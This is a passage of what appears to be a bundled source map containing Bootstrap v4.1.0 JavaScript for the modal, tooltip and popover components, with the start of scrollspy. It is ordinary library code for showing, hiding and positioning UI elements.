this._scrollbarWidth = 0\n }\n\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n static get Default() {\n return Default\n }\n\n // Public\n\n toggle(relatedTarget) {\n return this._isShown ? this.hide() : this.show(relatedTarget)\n }\n\n show(relatedTarget) {\n if (this._isTransitioning || this._isShown) {\n return\n }\n\n if ($(this._element).hasClass(ClassName.FADE)) {\n this._isTransitioning = true\n }\n\n const showEvent = $.Event(Event.SHOW, {\n relatedTarget\n })\n\n $(this._element).trigger(showEvent)\n\n if (this._isShown || showEvent.isDefaultPrevented()) {\n return\n }\n\n this._isShown = true\n\n this._checkScrollbar()\n this._setScrollbar()\n\n this._adjustDialog()\n\n $(document.body).addClass(ClassName.OPEN)\n\n this._setEscapeEvent()\n this._setResizeEvent()\n\n $(this._element).on(\n Event.CLICK_DISMISS,\n Selector.DATA_DISMISS,\n (event) => this.hide(event)\n )\n\n $(this._dialog).on(Event.MOUSEDOWN_DISMISS, () => {\n $(this._element).one(Event.MOUSEUP_DISMISS, (event) => {\n if ($(event.target).is(this._element)) {\n this._ignoreBackdropClick = true\n }\n })\n })\n\n this._showBackdrop(() => this._showElement(relatedTarget))\n }\n\n hide(event) {\n if (event) {\n event.preventDefault()\n }\n\n if (this._isTransitioning || !this._isShown) {\n return\n }\n\n const hideEvent = $.Event(Event.HIDE)\n\n $(this._element).trigger(hideEvent)\n\n if (!this._isShown || hideEvent.isDefaultPrevented()) {\n return\n }\n\n this._isShown = false\n const transition = $(this._element).hasClass(ClassName.FADE)\n\n if (transition) {\n this._isTransitioning = true\n }\n\n this._setEscapeEvent()\n this._setResizeEvent()\n\n $(document).off(Event.FOCUSIN)\n\n $(this._element).removeClass(ClassName.SHOW)\n\n $(this._element).off(Event.CLICK_DISMISS)\n $(this._dialog).off(Event.MOUSEDOWN_DISMISS)\n\n\n if (transition) {\n const transitionDuration = Util.getTransitionDurationFromElement(this._element)\n\n $(this._element)\n .one(Util.TRANSITION_END, (event) => this._hideModal(event))\n .emulateTransitionEnd(transitionDuration)\n } else {\n this._hideModal()\n }\n }\n\n dispose() {\n $.removeData(this._element, DATA_KEY)\n\n $(window, document, this._element, this._backdrop).off(EVENT_KEY)\n\n this._config = null\n this._element = null\n this._dialog = null\n this._backdrop = null\n this._isShown = null\n this._isBodyOverflowing = null\n this._ignoreBackdropClick = null\n this._scrollbarWidth = null\n }\n\n handleUpdate() {\n this._adjustDialog()\n }\n\n // Private\n\n _getConfig(config) {\n config = {\n ...Default,\n ...config\n }\n Util.typeCheckConfig(NAME, config, DefaultType)\n return config\n }\n\n _showElement(relatedTarget) {\n const transition = $(this._element).hasClass(ClassName.FADE)\n\n if (!this._element.parentNode ||\n this._element.parentNode.nodeType !== Node.ELEMENT_NODE) {\n // Don't move modal's DOM position\n document.body.appendChild(this._element)\n }\n\n this._element.style.display = 'block'\n this._element.removeAttribute('aria-hidden')\n this._element.scrollTop = 0\n\n if (transition) {\n Util.reflow(this._element)\n }\n\n $(this._element).addClass(ClassName.SHOW)\n\n if (this._config.focus) {\n this._enforceFocus()\n }\n\n const shownEvent = $.Event(Event.SHOWN, {\n relatedTarget\n })\n\n const transitionComplete = () => {\n if (this._config.focus) {\n this._element.focus()\n }\n this._isTransitioning = false\n $(this._element).trigger(shownEvent)\n }\n\n if (transition) {\n const transitionDuration = Util.getTransitionDurationFromElement(this._element)\n\n $(this._dialog)\n .one(Util.TRANSITION_END, transitionComplete)\n .emulateTransitionEnd(transitionDuration)\n } else {\n transitionComplete()\n }\n }\n\n _enforceFocus() {\n $(document)\n .off(Event.FOCUSIN) // Guard against infinite focus loop\n .on(Event.FOCUSIN, (event) => {\n if (document !== event.target &&\n this._element !== event.target &&\n $(this._element).has(event.target).length === 0) {\n this._element.focus()\n }\n })\n }\n\n _setEscapeEvent() {\n if (this._isShown && this._config.keyboard) {\n $(this._element).on(Event.KEYDOWN_DISMISS, (event) => {\n if (event.which === ESCAPE_KEYCODE) {\n event.preventDefault()\n this.hide()\n }\n })\n } else if (!this._isShown) {\n $(this._element).off(Event.KEYDOWN_DISMISS)\n }\n }\n\n _setResizeEvent() {\n if (this._isShown) {\n $(window).on(Event.RESIZE, (event) => this.handleUpdate(event))\n } else {\n $(window).off(Event.RESIZE)\n }\n }\n\n _hideModal() {\n this._element.style.display = 'none'\n this._element.setAttribute('aria-hidden', true)\n this._isTransitioning = false\n this._showBackdrop(() => {\n $(document.body).removeClass(ClassName.OPEN)\n this._resetAdjustments()\n this._resetScrollbar()\n $(this._element).trigger(Event.HIDDEN)\n })\n }\n\n _removeBackdrop() {\n if (this._backdrop) {\n $(this._backdrop).remove()\n this._backdrop = null\n }\n }\n\n _showBackdrop(callback) {\n const animate = $(this._element).hasClass(ClassName.FADE)\n ? ClassName.FADE : ''\n\n if (this._isShown && this._config.backdrop) {\n this._backdrop = document.createElement('div')\n this._backdrop.className = ClassName.BACKDROP\n\n if (animate) {\n $(this._backdrop).addClass(animate)\n }\n\n $(this._backdrop).appendTo(document.body)\n\n $(this._element).on(Event.CLICK_DISMISS, (event) => {\n if (this._ignoreBackdropClick) {\n this._ignoreBackdropClick = false\n return\n }\n if (event.target !== event.currentTarget) {\n return\n }\n if (this._config.backdrop === 'static') {\n this._element.focus()\n } else {\n this.hide()\n }\n })\n\n if (animate) {\n Util.reflow(this._backdrop)\n }\n\n $(this._backdrop).addClass(ClassName.SHOW)\n\n if (!callback) {\n return\n }\n\n if (!animate) {\n callback()\n return\n }\n\n const backdropTransitionDuration = Util.getTransitionDurationFromElement(this._backdrop)\n\n $(this._backdrop)\n .one(Util.TRANSITION_END, callback)\n .emulateTransitionEnd(backdropTransitionDuration)\n } else if (!this._isShown && this._backdrop) {\n $(this._backdrop).removeClass(ClassName.SHOW)\n\n const callbackRemove = () => {\n this._removeBackdrop()\n if (callback) {\n callback()\n }\n }\n\n if ($(this._element).hasClass(ClassName.FADE)) {\n const backdropTransitionDuration = Util.getTransitionDurationFromElement(this._backdrop)\n\n $(this._backdrop)\n .one(Util.TRANSITION_END, callbackRemove)\n .emulateTransitionEnd(backdropTransitionDuration)\n } else {\n callbackRemove()\n }\n } else if (callback) {\n callback()\n }\n }\n\n // ----------------------------------------------------------------------\n // the following methods are used to handle overflowing modals\n // todo (fat): these should probably be refactored out of modal.js\n // ----------------------------------------------------------------------\n\n _adjustDialog() {\n const isModalOverflowing =\n this._element.scrollHeight > document.documentElement.clientHeight\n\n if (!this._isBodyOverflowing && isModalOverflowing) {\n this._element.style.paddingLeft = `${this._scrollbarWidth}px`\n }\n\n if (this._isBodyOverflowing && !isModalOverflowing) {\n this._element.style.paddingRight = `${this._scrollbarWidth}px`\n }\n }\n\n _resetAdjustments() {\n this._element.style.paddingLeft = ''\n this._element.style.paddingRight = ''\n }\n\n _checkScrollbar() {\n const rect = document.body.getBoundingClientRect()\n this._isBodyOverflowing = rect.left + rect.right < window.innerWidth\n this._scrollbarWidth = this._getScrollbarWidth()\n }\n\n _setScrollbar() {\n if (this._isBodyOverflowing) {\n // Note: DOMNode.style.paddingRight returns the actual value or '' if not set\n // while $(DOMNode).css('padding-right') returns the calculated value or 0 if not set\n\n // Adjust fixed content padding\n $(Selector.FIXED_CONTENT).each((index, element) => {\n const actualPadding = $(element)[0].style.paddingRight\n const calculatedPadding = $(element).css('padding-right')\n $(element).data('padding-right', actualPadding).css('padding-right', `${parseFloat(calculatedPadding) + this._scrollbarWidth}px`)\n })\n\n // Adjust sticky content margin\n $(Selector.STICKY_CONTENT).each((index, element) => {\n const actualMargin = $(element)[0].style.marginRight\n const calculatedMargin = $(element).css('margin-right')\n $(element).data('margin-right', actualMargin).css('margin-right', `${parseFloat(calculatedMargin) - this._scrollbarWidth}px`)\n })\n\n // Adjust navbar-toggler margin\n $(Selector.NAVBAR_TOGGLER).each((index, element) => {\n const actualMargin = $(element)[0].style.marginRight\n const calculatedMargin = $(element).css('margin-right')\n $(element).data('margin-right', actualMargin).css('margin-right', `${parseFloat(calculatedMargin) + this._scrollbarWidth}px`)\n })\n\n // Adjust body padding\n const actualPadding = document.body.style.paddingRight\n const calculatedPadding = $(document.body).css('padding-right')\n $(document.body).data('padding-right', actualPadding).css('padding-right', `${parseFloat(calculatedPadding) + this._scrollbarWidth}px`)\n }\n }\n\n _resetScrollbar() {\n // Restore fixed content padding\n $(Selector.FIXED_CONTENT).each((index, element) => {\n const padding = $(element).data('padding-right')\n if (typeof padding !== 'undefined') {\n $(element).css('padding-right', padding).removeData('padding-right')\n }\n })\n\n // Restore sticky content and navbar-toggler margin\n $(`${Selector.STICKY_CONTENT}, ${Selector.NAVBAR_TOGGLER}`).each((index, element) => {\n const margin = $(element).data('margin-right')\n if (typeof margin !== 'undefined') {\n $(element).css('margin-right', margin).removeData('margin-right')\n }\n })\n\n // Restore body padding\n const padding = $(document.body).data('padding-right')\n if (typeof padding !== 'undefined') {\n $(document.body).css('padding-right', padding).removeData('padding-right')\n }\n }\n\n _getScrollbarWidth() { // thx d.walsh\n const scrollDiv = document.createElement('div')\n scrollDiv.className = ClassName.SCROLLBAR_MEASURER\n document.body.appendChild(scrollDiv)\n const scrollbarWidth = scrollDiv.getBoundingClientRect().width - scrollDiv.clientWidth\n document.body.removeChild(scrollDiv)\n return scrollbarWidth\n }\n\n // Static\n\n static _jQueryInterface(config, relatedTarget) {\n return this.each(function () {\n let data = $(this).data(DATA_KEY)\n const _config = {\n ...Modal.Default,\n ...$(this).data(),\n ...typeof config === 'object' && config\n }\n\n if (!data) {\n data = new Modal(this, _config)\n $(this).data(DATA_KEY, data)\n }\n\n if (typeof config === 'string') {\n if (typeof data[config] === 'undefined') {\n throw new TypeError(`No method named \"${config}\"`)\n }\n data[config](relatedTarget)\n } else if (_config.show) {\n data.show(relatedTarget)\n }\n })\n }\n }\n\n /**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\n $(document).on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) {\n let target\n const selector = Util.getSelectorFromElement(this)\n\n if (selector) {\n target = $(selector)[0]\n }\n\n const config = $(target).data(DATA_KEY)\n ? 'toggle' : {\n ...$(target).data(),\n ...$(this).data()\n }\n\n if (this.tagName === 'A' || this.tagName === 'AREA') {\n event.preventDefault()\n }\n\n const $target = $(target).one(Event.SHOW, (showEvent) => {\n if (showEvent.isDefaultPrevented()) {\n // Only register focus restorer if modal will actually get shown\n return\n }\n\n $target.one(Event.HIDDEN, () => {\n if ($(this).is(':visible')) {\n this.focus()\n }\n })\n })\n\n Modal._jQueryInterface.call($(target), config, this)\n })\n\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n $.fn[NAME] = Modal._jQueryInterface\n $.fn[NAME].Constructor = Modal\n $.fn[NAME].noConflict = function () {\n $.fn[NAME] = JQUERY_NO_CONFLICT\n return Modal._jQueryInterface\n }\n\n return Modal\n})($)\n\nexport default Modal\n","import $ from 'jquery'\nimport Popper from 'popper.js'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): tooltip.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Tooltip = (($) => {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\n const NAME = 'tooltip'\n const VERSION = '4.1.0'\n const DATA_KEY = 'bs.tooltip'\n const EVENT_KEY = `.${DATA_KEY}`\n const JQUERY_NO_CONFLICT = $.fn[NAME]\n const CLASS_PREFIX = 'bs-tooltip'\n const BSCLS_PREFIX_REGEX = new RegExp(`(^|\\\\s)${CLASS_PREFIX}\\\\S+`, 'g')\n\n const DefaultType = {\n animation : 'boolean',\n template : 'string',\n title : '(string|element|function)',\n trigger : 'string',\n delay : '(number|object)',\n html : 'boolean',\n selector : '(string|boolean)',\n placement : '(string|function)',\n offset : '(number|string)',\n container : '(string|element|boolean)',\n fallbackPlacement : '(string|array)',\n boundary : '(string|element)'\n }\n\n const AttachmentMap = {\n AUTO : 'auto',\n TOP : 'top',\n RIGHT : 'right',\n BOTTOM : 'bottom',\n LEFT : 'left'\n }\n\n const Default = {\n animation : true,\n template : '<div class=\"tooltip\" role=\"tooltip\">' +\n '<div class=\"arrow\"></div>' +\n '<div class=\"tooltip-inner\"></div></div>',\n trigger : 'hover focus',\n title : '',\n delay : 0,\n html : false,\n selector : false,\n placement : 'top',\n offset : 0,\n container : false,\n fallbackPlacement : 'flip',\n boundary : 'scrollParent'\n }\n\n const HoverState = {\n SHOW : 'show',\n OUT : 'out'\n }\n\n const Event = {\n HIDE : `hide${EVENT_KEY}`,\n HIDDEN : `hidden${EVENT_KEY}`,\n SHOW : `show${EVENT_KEY}`,\n SHOWN : `shown${EVENT_KEY}`,\n INSERTED : `inserted${EVENT_KEY}`,\n CLICK : `click${EVENT_KEY}`,\n FOCUSIN : `focusin${EVENT_KEY}`,\n FOCUSOUT : `focusout${EVENT_KEY}`,\n MOUSEENTER : `mouseenter${EVENT_KEY}`,\n MOUSELEAVE : `mouseleave${EVENT_KEY}`\n }\n\n const ClassName = {\n FADE : 'fade',\n SHOW : 'show'\n }\n\n const Selector = {\n TOOLTIP : '.tooltip',\n TOOLTIP_INNER : '.tooltip-inner',\n ARROW : '.arrow'\n }\n\n const Trigger = {\n HOVER : 'hover',\n FOCUS : 'focus',\n CLICK : 'click',\n MANUAL : 'manual'\n }\n\n\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n class Tooltip {\n constructor(element, config) {\n /**\n * Check for Popper dependency\n * Popper - https://popper.js.org\n */\n if (typeof Popper === 'undefined') {\n throw new TypeError('Bootstrap tooltips require Popper.js (https://popper.js.org)')\n }\n\n // private\n this._isEnabled = true\n this._timeout = 0\n this._hoverState = ''\n this._activeTrigger = {}\n this._popper = null\n\n // Protected\n this.element = element\n this.config = this._getConfig(config)\n this.tip = null\n\n this._setListeners()\n }\n\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n static get Default() {\n return Default\n }\n\n static get NAME() {\n return NAME\n }\n\n static get DATA_KEY() {\n return DATA_KEY\n }\n\n static get Event() {\n return Event\n }\n\n static get EVENT_KEY() {\n return EVENT_KEY\n }\n\n static get DefaultType() {\n return DefaultType\n }\n\n // Public\n\n enable() {\n this._isEnabled = true\n }\n\n disable() {\n this._isEnabled = false\n }\n\n toggleEnabled() {\n this._isEnabled = !this._isEnabled\n }\n\n toggle(event) {\n if (!this._isEnabled) {\n return\n }\n\n if (event) {\n const dataKey = this.constructor.DATA_KEY\n let context = $(event.currentTarget).data(dataKey)\n\n if (!context) {\n context = new this.constructor(\n event.currentTarget,\n this._getDelegateConfig()\n )\n $(event.currentTarget).data(dataKey, context)\n }\n\n context._activeTrigger.click = !context._activeTrigger.click\n\n if (context._isWithActiveTrigger()) {\n context._enter(null, context)\n } else {\n context._leave(null, context)\n }\n } else {\n if ($(this.getTipElement()).hasClass(ClassName.SHOW)) {\n this._leave(null, this)\n return\n }\n\n this._enter(null, this)\n }\n }\n\n dispose() {\n clearTimeout(this._timeout)\n\n $.removeData(this.element, this.constructor.DATA_KEY)\n\n $(this.element).off(this.constructor.EVENT_KEY)\n $(this.element).closest('.modal').off('hide.bs.modal')\n\n if (this.tip) {\n $(this.tip).remove()\n }\n\n this._isEnabled = null\n this._timeout = null\n this._hoverState = null\n this._activeTrigger = null\n if (this._popper !== null) {\n this._popper.destroy()\n }\n\n this._popper = null\n this.element = null\n this.config = null\n this.tip = null\n }\n\n show() {\n if ($(this.element).css('display') === 'none') {\n throw new Error('Please use show on visible elements')\n }\n\n const showEvent = $.Event(this.constructor.Event.SHOW)\n if (this.isWithContent() && this._isEnabled) {\n $(this.element).trigger(showEvent)\n\n const isInTheDom = $.contains(\n this.element.ownerDocument.documentElement,\n this.element\n )\n\n if (showEvent.isDefaultPrevented() || !isInTheDom) {\n return\n }\n\n const tip = this.getTipElement()\n const tipId = Util.getUID(this.constructor.NAME)\n\n tip.setAttribute('id', tipId)\n this.element.setAttribute('aria-describedby', tipId)\n\n this.setContent()\n\n if (this.config.animation) {\n $(tip).addClass(ClassName.FADE)\n }\n\n const placement = typeof this.config.placement === 'function'\n ? this.config.placement.call(this, tip, this.element)\n : this.config.placement\n\n const attachment = this._getAttachment(placement)\n this.addAttachmentClass(attachment)\n\n const container = this.config.container === false ? document.body : $(this.config.container)\n\n $(tip).data(this.constructor.DATA_KEY, this)\n\n if (!$.contains(this.element.ownerDocument.documentElement, this.tip)) {\n $(tip).appendTo(container)\n }\n\n $(this.element).trigger(this.constructor.Event.INSERTED)\n\n this._popper = new Popper(this.element, tip, {\n placement: attachment,\n modifiers: {\n offset: {\n offset: this.config.offset\n },\n flip: {\n behavior: this.config.fallbackPlacement\n },\n arrow: {\n element: Selector.ARROW\n },\n preventOverflow: {\n boundariesElement: this.config.boundary\n }\n },\n onCreate: (data) => {\n if (data.originalPlacement !== data.placement) {\n this._handlePopperPlacementChange(data)\n }\n },\n onUpdate: (data) => {\n this._handlePopperPlacementChange(data)\n }\n })\n\n $(tip).addClass(ClassName.SHOW)\n\n // If this is a touch-enabled device we add extra\n // empty mouseover listeners to the body's immediate children;\n // only needed because of broken event delegation on iOS\n // https://www.quirksmode.org/blog/archives/2014/02/mouse_event_bub.html\n if ('ontouchstart' in document.documentElement) {\n $(document.body).children().on('mouseover', null, $.noop)\n }\n\n const complete = () => {\n if (this.config.animation) {\n this._fixTransition()\n }\n const prevHoverState = this._hoverState\n this._hoverState = null\n\n $(this.element).trigger(this.constructor.Event.SHOWN)\n\n if (prevHoverState === HoverState.OUT) {\n this._leave(null, this)\n }\n }\n\n if ($(this.tip).hasClass(ClassName.FADE)) {\n const transitionDuration = Util.getTransitionDurationFromElement(this.tip)\n\n $(this.tip)\n .one(Util.TRANSITION_END, complete)\n .emulateTransitionEnd(transitionDuration)\n } else {\n complete()\n }\n }\n }\n\n hide(callback) {\n const tip = this.getTipElement()\n const hideEvent = $.Event(this.constructor.Event.HIDE)\n const complete = () => {\n if (this._hoverState !== HoverState.SHOW && tip.parentNode) {\n tip.parentNode.removeChild(tip)\n }\n\n this._cleanTipClass()\n this.element.removeAttribute('aria-describedby')\n $(this.element).trigger(this.constructor.Event.HIDDEN)\n if (this._popper !== null) {\n this._popper.destroy()\n }\n\n if (callback) {\n callback()\n }\n }\n\n $(this.element).trigger(hideEvent)\n\n if (hideEvent.isDefaultPrevented()) {\n return\n }\n\n $(tip).removeClass(ClassName.SHOW)\n\n // If this is a touch-enabled device we remove the extra\n // empty mouseover listeners we added for iOS support\n if ('ontouchstart' in document.documentElement) {\n $(document.body).children().off('mouseover', null, $.noop)\n }\n\n this._activeTrigger[Trigger.CLICK] = false\n this._activeTrigger[Trigger.FOCUS] = false\n this._activeTrigger[Trigger.HOVER] = false\n\n if ($(this.tip).hasClass(ClassName.FADE)) {\n const transitionDuration = Util.getTransitionDurationFromElement(tip)\n\n $(tip)\n .one(Util.TRANSITION_END, complete)\n .emulateTransitionEnd(transitionDuration)\n } else {\n complete()\n }\n\n this._hoverState = ''\n }\n\n update() {\n if (this._popper !== null) {\n this._popper.scheduleUpdate()\n }\n }\n\n // Protected\n\n isWithContent() {\n return Boolean(this.getTitle())\n }\n\n addAttachmentClass(attachment) {\n $(this.getTipElement()).addClass(`${CLASS_PREFIX}-${attachment}`)\n }\n\n getTipElement() {\n this.tip = this.tip || $(this.config.template)[0]\n return this.tip\n }\n\n setContent() {\n const $tip = $(this.getTipElement())\n this.setElementContent($tip.find(Selector.TOOLTIP_INNER), this.getTitle())\n $tip.removeClass(`${ClassName.FADE} ${ClassName.SHOW}`)\n }\n\n setElementContent($element, content) {\n const html = this.config.html\n if (typeof content === 'object' && (content.nodeType || content.jquery)) {\n // Content is a DOM node or a jQuery\n if (html) {\n if (!$(content).parent().is($element)) {\n $element.empty().append(content)\n }\n } else {\n $element.text($(content).text())\n }\n } else {\n $element[html ? 'html' : 'text'](content)\n }\n }\n\n getTitle() {\n let title = this.element.getAttribute('data-original-title')\n\n if (!title) {\n title = typeof this.config.title === 'function'\n ? this.config.title.call(this.element)\n : this.config.title\n }\n\n return title\n }\n\n // Private\n\n _getAttachment(placement) {\n return AttachmentMap[placement.toUpperCase()]\n }\n\n _setListeners() {\n const triggers = this.config.trigger.split(' ')\n\n triggers.forEach((trigger) => {\n if (trigger === 'click') {\n $(this.element).on(\n this.constructor.Event.CLICK,\n this.config.selector,\n (event) => this.toggle(event)\n )\n } else if (trigger !== Trigger.MANUAL) {\n const eventIn = trigger === Trigger.HOVER\n ? this.constructor.Event.MOUSEENTER\n : this.constructor.Event.FOCUSIN\n const eventOut = trigger === Trigger.HOVER\n ? this.constructor.Event.MOUSELEAVE\n : this.constructor.Event.FOCUSOUT\n\n $(this.element)\n .on(\n eventIn,\n this.config.selector,\n (event) => this._enter(event)\n )\n .on(\n eventOut,\n this.config.selector,\n (event) => this._leave(event)\n )\n }\n\n $(this.element).closest('.modal').on(\n 'hide.bs.modal',\n () => this.hide()\n )\n })\n\n if (this.config.selector) {\n this.config = {\n ...this.config,\n trigger: 'manual',\n selector: ''\n }\n } else {\n this._fixTitle()\n }\n }\n\n _fixTitle() {\n const titleType = typeof this.element.getAttribute('data-original-title')\n if (this.element.getAttribute('title') ||\n titleType !== 'string') {\n this.element.setAttribute(\n 'data-original-title',\n this.element.getAttribute('title') || ''\n )\n this.element.setAttribute('title', '')\n }\n }\n\n _enter(event, context) {\n const dataKey = this.constructor.DATA_KEY\n\n context = context || $(event.currentTarget).data(dataKey)\n\n if (!context) {\n context = new this.constructor(\n event.currentTarget,\n this._getDelegateConfig()\n )\n $(event.currentTarget).data(dataKey, context)\n }\n\n if (event) {\n context._activeTrigger[\n event.type === 'focusin' ? Trigger.FOCUS : Trigger.HOVER\n ] = true\n }\n\n if ($(context.getTipElement()).hasClass(ClassName.SHOW) ||\n context._hoverState === HoverState.SHOW) {\n context._hoverState = HoverState.SHOW\n return\n }\n\n clearTimeout(context._timeout)\n\n context._hoverState = HoverState.SHOW\n\n if (!context.config.delay || !context.config.delay.show) {\n context.show()\n return\n }\n\n context._timeout = setTimeout(() => {\n if (context._hoverState === HoverState.SHOW) {\n context.show()\n }\n }, context.config.delay.show)\n }\n\n _leave(event, context) {\n const dataKey = this.constructor.DATA_KEY\n\n context = context || $(event.currentTarget).data(dataKey)\n\n if (!context) {\n context = new this.constructor(\n event.currentTarget,\n this._getDelegateConfig()\n )\n $(event.currentTarget).data(dataKey, context)\n }\n\n if (event) {\n context._activeTrigger[\n event.type === 'focusout' ? Trigger.FOCUS : Trigger.HOVER\n ] = false\n }\n\n if (context._isWithActiveTrigger()) {\n return\n }\n\n clearTimeout(context._timeout)\n\n context._hoverState = HoverState.OUT\n\n if (!context.config.delay || !context.config.delay.hide) {\n context.hide()\n return\n }\n\n context._timeout = setTimeout(() => {\n if (context._hoverState === HoverState.OUT) {\n context.hide()\n }\n }, context.config.delay.hide)\n }\n\n _isWithActiveTrigger() {\n for (const trigger in this._activeTrigger) {\n if (this._activeTrigger[trigger]) {\n return true\n }\n }\n\n return false\n }\n\n _getConfig(config) {\n config = {\n ...this.constructor.Default,\n ...$(this.element).data(),\n ...config\n }\n\n if (typeof config.delay === 'number') {\n config.delay = {\n show: config.delay,\n hide: config.delay\n }\n }\n\n if (typeof config.title === 'number') {\n config.title = config.title.toString()\n }\n\n if (typeof config.content === 'number') {\n config.content = config.content.toString()\n }\n\n Util.typeCheckConfig(\n NAME,\n config,\n this.constructor.DefaultType\n )\n\n return config\n }\n\n _getDelegateConfig() {\n const config = {}\n\n if (this.config) {\n for (const key in this.config) {\n if (this.constructor.Default[key] !== this.config[key]) {\n config[key] = this.config[key]\n }\n }\n }\n\n return config\n }\n\n _cleanTipClass() {\n const $tip = $(this.getTipElement())\n const tabClass = $tip.attr('class').match(BSCLS_PREFIX_REGEX)\n if (tabClass !== null && tabClass.length > 0) {\n $tip.removeClass(tabClass.join(''))\n }\n }\n\n _handlePopperPlacementChange(data) {\n this._cleanTipClass()\n this.addAttachmentClass(this._getAttachment(data.placement))\n }\n\n _fixTransition() {\n const tip = this.getTipElement()\n const initConfigAnimation = this.config.animation\n if (tip.getAttribute('x-placement') !== null) {\n return\n }\n $(tip).removeClass(ClassName.FADE)\n this.config.animation = false\n this.hide()\n this.show()\n this.config.animation = initConfigAnimation\n }\n\n // Static\n\n static _jQueryInterface(config) {\n return this.each(function () {\n let data = $(this).data(DATA_KEY)\n const _config = typeof config === 'object' && config\n\n if (!data && /dispose|hide/.test(config)) {\n return\n }\n\n if (!data) {\n data = new Tooltip(this, _config)\n $(this).data(DATA_KEY, data)\n }\n\n if (typeof config === 'string') {\n if (typeof data[config] === 'undefined') {\n throw new TypeError(`No method named \"${config}\"`)\n }\n data[config]()\n }\n })\n }\n }\n\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n $.fn[NAME] = Tooltip._jQueryInterface\n $.fn[NAME].Constructor = Tooltip\n $.fn[NAME].noConflict = function () {\n $.fn[NAME] = JQUERY_NO_CONFLICT\n return Tooltip._jQueryInterface\n }\n\n return Tooltip\n})($, Popper)\n\nexport default Tooltip\n","import $ from 'jquery'\nimport Tooltip from './tooltip'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): popover.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Popover = (($) => {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\n const NAME = 'popover'\n const VERSION = '4.1.0'\n const DATA_KEY = 'bs.popover'\n const EVENT_KEY = `.${DATA_KEY}`\n const JQUERY_NO_CONFLICT = $.fn[NAME]\n const CLASS_PREFIX = 'bs-popover'\n const BSCLS_PREFIX_REGEX = new RegExp(`(^|\\\\s)${CLASS_PREFIX}\\\\S+`, 'g')\n\n const Default = {\n ...Tooltip.Default,\n placement : 'right',\n trigger : 'click',\n content : '',\n template : '<div class=\"popover\" role=\"tooltip\">' +\n '<div class=\"arrow\"></div>' +\n '<h3 class=\"popover-header\"></h3>' +\n '<div class=\"popover-body\"></div></div>'\n }\n\n const DefaultType = {\n ...Tooltip.DefaultType,\n content : '(string|element|function)'\n }\n\n const ClassName = {\n FADE : 'fade',\n SHOW : 'show'\n }\n\n const Selector = {\n TITLE : '.popover-header',\n CONTENT : '.popover-body'\n }\n\n const Event = {\n HIDE : `hide${EVENT_KEY}`,\n HIDDEN : `hidden${EVENT_KEY}`,\n SHOW : `show${EVENT_KEY}`,\n SHOWN : `shown${EVENT_KEY}`,\n INSERTED : `inserted${EVENT_KEY}`,\n CLICK : `click${EVENT_KEY}`,\n FOCUSIN : `focusin${EVENT_KEY}`,\n FOCUSOUT : `focusout${EVENT_KEY}`,\n MOUSEENTER : `mouseenter${EVENT_KEY}`,\n MOUSELEAVE : `mouseleave${EVENT_KEY}`\n }\n\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n class Popover extends Tooltip {\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n static get Default() {\n return Default\n }\n\n static get NAME() {\n return NAME\n }\n\n static get DATA_KEY() {\n return DATA_KEY\n }\n\n static get Event() {\n return Event\n }\n\n static get EVENT_KEY() {\n return EVENT_KEY\n }\n\n static get DefaultType() {\n return DefaultType\n }\n\n // Overrides\n\n isWithContent() {\n return this.getTitle() || this._getContent()\n }\n\n addAttachmentClass(attachment) {\n $(this.getTipElement()).addClass(`${CLASS_PREFIX}-${attachment}`)\n }\n\n getTipElement() {\n this.tip = this.tip || $(this.config.template)[0]\n return this.tip\n }\n\n setContent() {\n const $tip = $(this.getTipElement())\n\n // We use append for html objects to maintain js events\n this.setElementContent($tip.find(Selector.TITLE), this.getTitle())\n let content = this._getContent()\n if (typeof content === 'function') {\n content = content.call(this.element)\n }\n this.setElementContent($tip.find(Selector.CONTENT), content)\n\n $tip.removeClass(`${ClassName.FADE} ${ClassName.SHOW}`)\n }\n\n // Private\n\n _getContent() {\n return this.element.getAttribute('data-content') ||\n this.config.content\n }\n\n _cleanTipClass() {\n const $tip = $(this.getTipElement())\n const tabClass = $tip.attr('class').match(BSCLS_PREFIX_REGEX)\n if (tabClass !== null && tabClass.length > 0) {\n $tip.removeClass(tabClass.join(''))\n }\n }\n\n // Static\n\n static _jQueryInterface(config) {\n return this.each(function () {\n let data = $(this).data(DATA_KEY)\n const _config = typeof config === 'object' ? config : null\n\n if (!data && /destroy|hide/.test(config)) {\n return\n }\n\n if (!data) {\n data = new Popover(this, _config)\n $(this).data(DATA_KEY, data)\n }\n\n if (typeof config === 'string') {\n if (typeof data[config] === 'undefined') {\n throw new TypeError(`No method named \"${config}\"`)\n }\n data[config]()\n }\n })\n }\n }\n\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n $.fn[NAME] = Popover._jQueryInterface\n $.fn[NAME].Constructor = Popover\n $.fn[NAME].noConflict = function () {\n $.fn[NAME] = JQUERY_NO_CONFLICT\n return Popover._jQueryInterface\n }\n\n return Popover\n})($)\n\nexport default Popover\n","import $ from 'jquery'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): scrollspy.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst ScrollSpy = (($) => {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\n const NAME = 'scrollspy'\n const VERSION = 